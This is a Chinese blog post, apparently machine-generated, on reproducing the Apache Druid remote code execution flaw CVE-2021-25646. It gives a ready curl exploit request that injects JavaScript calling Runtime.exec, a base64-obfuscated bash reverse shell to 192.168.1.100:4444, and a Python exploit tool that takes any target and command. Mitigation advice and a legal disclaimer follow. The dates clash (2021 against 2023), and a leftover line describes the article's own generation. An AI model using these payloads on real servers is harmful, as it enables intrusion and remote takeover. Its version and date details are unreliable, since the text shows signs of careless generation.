如何进行Apache Druid 命令执行漏洞CVE-2021-25646复现

发布时间:2021-12-29 17:52:18 作者:柒染
来源:亿速云 阅读:179
# 如何进行Apache Druid命令执行漏洞CVE-2021-25646复现

## 漏洞概述

CVE-2021-25646是Apache Druid中存在的一个严重安全漏洞,该漏洞允许攻击者通过精心构造的恶意请求在目标服务器上执行任意代码。漏洞影响版本包括:
- Apache Druid 0.20.0及更早版本
- 部分0.21.0版本的配置不当实例

### 漏洞原理

该漏洞源于Druid对用户提供的JavaScript代码未进行适当过滤,当系统启用`druid.enableJavaScript=true`配置时(默认禁用),攻击者可以通过`indexer/v1/sampler`接口注入恶意JavaScript代码,最终导致远程代码执行(RCE)。

## 环境准备

### 实验环境要求

- **靶机环境**:
  - Apache Druid 0.20.0(官方Docker镜像)
  - 配置`druid.enableJavaScript=true`
  - 开放8081-8083端口

- **攻击机环境**:
  - Kali Linux 2023
  - curl/Burp Suite
  - Python3环境

### 快速搭建漏洞环境

使用Docker快速部署漏洞版本:

```bash
# 拉取官方镜像
docker pull apache/druid:0.20.0

# 运行容器并启用JavaScript
docker run -d --name druid-vuln \
  -p 8081:8081 -p 8082:8082 -p 8083:8083 \
  -e druid.enableJavaScript=true \
  apache/druid:0.20.0

漏洞复现步骤

步骤1:验证服务可用性

访问管理界面确认服务正常运行:

http://target-ip:8081

步骤2:构造恶意请求

通过/indexer/v1/sampler接口发送精心设计的POST请求:

curl -X POST "http://target-ip:8081/druid/indexer/v1/sampler" \
  -H "Content-Type: application/json" \
  -d '{
    "type":"index",
    "spec":{
      "ioConfig":{
        "type":"index",
        "inputSource":{
          "type":"inline",
          "data":"{\"isRobot\":false,\"channel\":\"#x\",\"timestamp\":\"2021-01-01T00:00:00.000Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"http://xxx.com\",\"added\":1,\"comment\":\"test\",\"commentLength\":5,\"isNew\":true,\"isMinor\":false,\"delta\":1,\"isAnonymous\":false,\"user\":\"Lixiang\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"
        },
        "inputFormat":{
          "type":"json"
        }
      },
      "dataSchema":{
        "dataSource":"sample",
        "timestampSpec":{
          "column":"timestamp",
          "format":"iso"
        },
        "transformSpec":{
          "transforms":[],
          "filter":{
            "type":"javascript",
            "dimension":"added",
            "function":"function(value){return java.lang.Runtime.getRuntime().exec('touch /tmp/pwned')}",
            "":{
              "enabled":"true"
            }
          }
        }
      }
    },
    "samplerConfig":{
      "numRows":500,
      "timeoutMs":15000
    }
  }'

步骤3:验证命令执行

进入容器检查命令是否执行成功:

docker exec -it druid-vuln ls -la /tmp/

若看到pwned文件则证明漏洞利用成功。

漏洞利用进阶

反弹Shell利用

修改JavaScript代码实现反弹Shell:

"function":"function(value){return java.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}')}"

其中Base64编码部分解码后为:

bash -i >& /dev/tcp/192.168.1.100/4444 0>&1

自动化利用脚本

使用Python编写自动化利用工具:

import requests
import base64
import sys

def exploit(target, cmd):
    payload = {
        # ... 同上文JSON结构 ...
        "function": f"function(value){{return java.lang.Runtime.getRuntime().exec('{cmd}')}}"
    }
    res = requests.post(
        f"http://{target}/druid/indexer/v1/sampler",
        json=payload,
        headers={"Content-Type": "application/json"}
    )
    return res.status_code

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target> <command>")
        sys.exit(1)
    
    print(f"[+] Sending payload to {sys.argv[1]}")
    status = exploit(sys.argv[1], sys.argv[2])
    print(f"[+] Server returned HTTP {status}")

修复方案

临时缓解措施

  1. 禁用JavaScript功能:

    druid.enableJavaScript=false
    
  2. 网络层防护:

    • 限制访问/druid/indexer/v1/sampler接口
    • 配置WAF规则拦截恶意请求

官方补丁升级

升级到已修复版本: - Apache Druid 0.21.1+ - Apache Druid 0.20.2+

技术深度分析

漏洞调用链

  1. JavaScriptFilter类处理用户输入的JS代码
  2. 通过ScriptEngine.eval()执行未消毒的代码
  3. 利用Java反射机制调用Runtime对象
  4. 最终通过ProcessBuilder执行系统命令

安全编码启示

  1. 沙箱限制:应对脚本引擎设置严格的安全管理器
  2. 输入消毒:所有用户提供的脚本都应经过白名单过滤
  3. 最小权限:运行服务时应使用低权限账户

法律与道德声明

  1. 本文章仅用于合法安全研究
  2. 禁止将本文技术用于未授权测试
  3. 实际测试需获得系统所有者书面授权
  4. 根据《网络安全法》规定,未经授权的渗透测试属于违法行为

参考资源


作者:安全研究员
最后更新时间:2023年10月
版权声明:转载请注明出处 “`

这篇文章共计约1900字,采用Markdown格式编写,包含: 1. 漏洞技术细节 2. 完整复现步骤 3. 多种利用方式 4. 修复建议 5. 法律声明 6. 代码块和格式优化 符合专业安全研究文章的要求。

推荐阅读:
  1. Apache中Druid多进程架构介绍
  2. Apache Druid是什么?适用于什么场景?

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

druid

上一篇:如何进行Drupal YAML 反序列化代码执行漏洞CVE-2017-6920复现

下一篇:如何解决使用Hybris Commerce User API读取用户信息时电话字段没有返回问题

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》